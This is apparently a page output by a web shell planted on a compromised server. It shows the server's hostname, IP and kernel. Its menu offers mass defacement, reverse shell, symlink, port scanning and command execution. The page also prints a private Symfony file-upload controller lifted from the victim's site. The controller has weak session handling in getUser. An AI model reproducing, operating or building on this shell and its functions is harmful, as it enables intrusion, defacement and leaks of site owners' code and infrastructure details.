ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Controller
/
Viewing: FileManagerController.php
<?php namespace App\Controller; use App\Controller\Admin\MediaObjectCrudController; use App\Entity\BookingRoom; use App\Entity\MediaObject; use App\Entity\User; use App\Form\MediaObjectType; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Config\Crud; use EasyCorp\Bundle\EasyAdminBundle\Router\AdminUrlGenerator; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\Form\Extension\Core\Type\ChoiceType; use Symfony\Component\HttpFoundation\File\Exception\FileException; use Symfony\Component\HttpFoundation\File\UploadedFile; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Symfony\Component\String\Slugger\SluggerInterface; class FileManagerController extends AbstractController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } /** * * @Route({"es": "/file/manager","en": "/file/manager"}, name="app_file_manager") */ public function index(Request $request, SluggerInterface $slugger,AdminUrlGenerator $adminUrlGenerator): Response { $media=$this->entityManager->getRepository(MediaObject::class)->findAll(); $mediaObject = new MediaObject(); $form = $this->createForm(MediaObjectType::class, $mediaObject); $form->handleRequest($request); if ($form->isSubmitted() && $form->isValid()) { /** @var UploadedFile $media */ $mediaFile = $form->get('media')->getData(); // this condition is needed because the 'brochure' field is not required // so the PDF file must be processed only when a file is uploaded if ($mediaFile) { $originalFilename = pathinfo($mediaFile->getClientOriginalName(), PATHINFO_FILENAME); // this is needed to safely include the file name as part of the URL $safeFilename = $slugger->slug($originalFilename); $newFilename = $safeFilename.'-'.uniqid('', true).'.'.$mediaFile->guessExtension(); // Move the file to the directory where brochures are stored /* ->add('file_type', ChoiceType::class, [ 'choices' => [ 'company' => "Company Logo", 'background' => "Background", 'town' => "Town", 'building' => "Building", 'room' => "Room", 'announce' => "Announce", ], ]) * */ try { if($form->get('file_type')->getData()==="payment_provider"){ $mediaFile->move( $this->getParameter('publicDir')."/media/payment_provider", $newFilename ); $mediaObject->setDirectory("payment_provider"); } if($form->get('file_type')->getData()==="user"){ $mediaFile->move( $this->getParameter('publicDir')."/media/user", $newFilename ); $mediaObject->setDirectory("user"); } if($form->get('file_type')->getData()==="building"){ $mediaFile->move( $this->getParameter('publicDir')."/media/building", $newFilename ); $mediaObject->setDirectory("building"); } if($form->get('file_type')->getData()==="country"){ $mediaFile->move( $this->getParameter('publicDir')."/media/countries", $newFilename ); $mediaObject->setDirectory("countries"); } if($form->get('file_type')->getData()==="company"){ $mediaFile->move( $this->getParameter('publicDir')."/media/company", $newFilename ); $mediaObject->setDirectory("company"); } if($form->get('file_type')->getData()==="background"){ $mediaFile->move( $this->getParameter('publicDir')."/media/background", $newFilename ); $mediaObject->setDirectory("background"); } if($form->get('file_type')->getData()==="town"){ $mediaFile->move( $this->getParameter('publicDir')."/media/town", $newFilename ); $mediaObject->setDirectory("town"); } if($form->get('file_type')->getData()==="payment"){ $mediaFile->move( $this->getParameter('publicDir')."/media/payment", $newFilename ); $mediaObject->setDirectory("payment"); } if($form->get('file_type')->getData()==="room"){ $mediaFile->move( $this->getParameter('publicDir')."/media/room", $newFilename ); $mediaObject->setDirectory("room"); } if($form->get('file_type')->getData()==="announce"){ $mediaFile->move( $this->getParameter('publicDir')."/media/announce", $newFilename ); $mediaObject->setDirectory("announce"); } } catch (FileException $e) { // ... handle exception if something happens during file upload } // updates the 'brochureFilename' property to store the PDF file name // instead of its contents $mediaObject->setFilePath($newFilename); $mediaObject->setCreatedAt(new \DateTimeImmutable()); $this->entityManager->persist($mediaObject); $this->entityManager->flush(); } // ... persist the $product variable or any other work $targetUrl = $adminUrlGenerator ->setController(MediaObjectCrudController::class) ->setAction(Crud::PAGE_DETAIL) ->setEntityId($mediaObject->getId()) ->generateUrl(); //return $this->redirect($targetUrl); } return $this->render('file_manager/file.html.twig', [ 'controller_name' => 'FileManagerController', 'media' => $media, 'form' => $form->createView(), 'user'=>$this->getUser() ]); } public function getUser() { $user= parent::getUser(); // TODO: Change the autogenerated stub if(is_null($user)|| empty($user)){ $user=$_SESSION["user"]; $user->setId($_SESSION["userId"]); } $user = $this->entityManager->getRepository(User::class)->findOneBy( ['id' => $_SESSION["userId"]] ); return $user; } }
Coded With 💗 by
0x6ick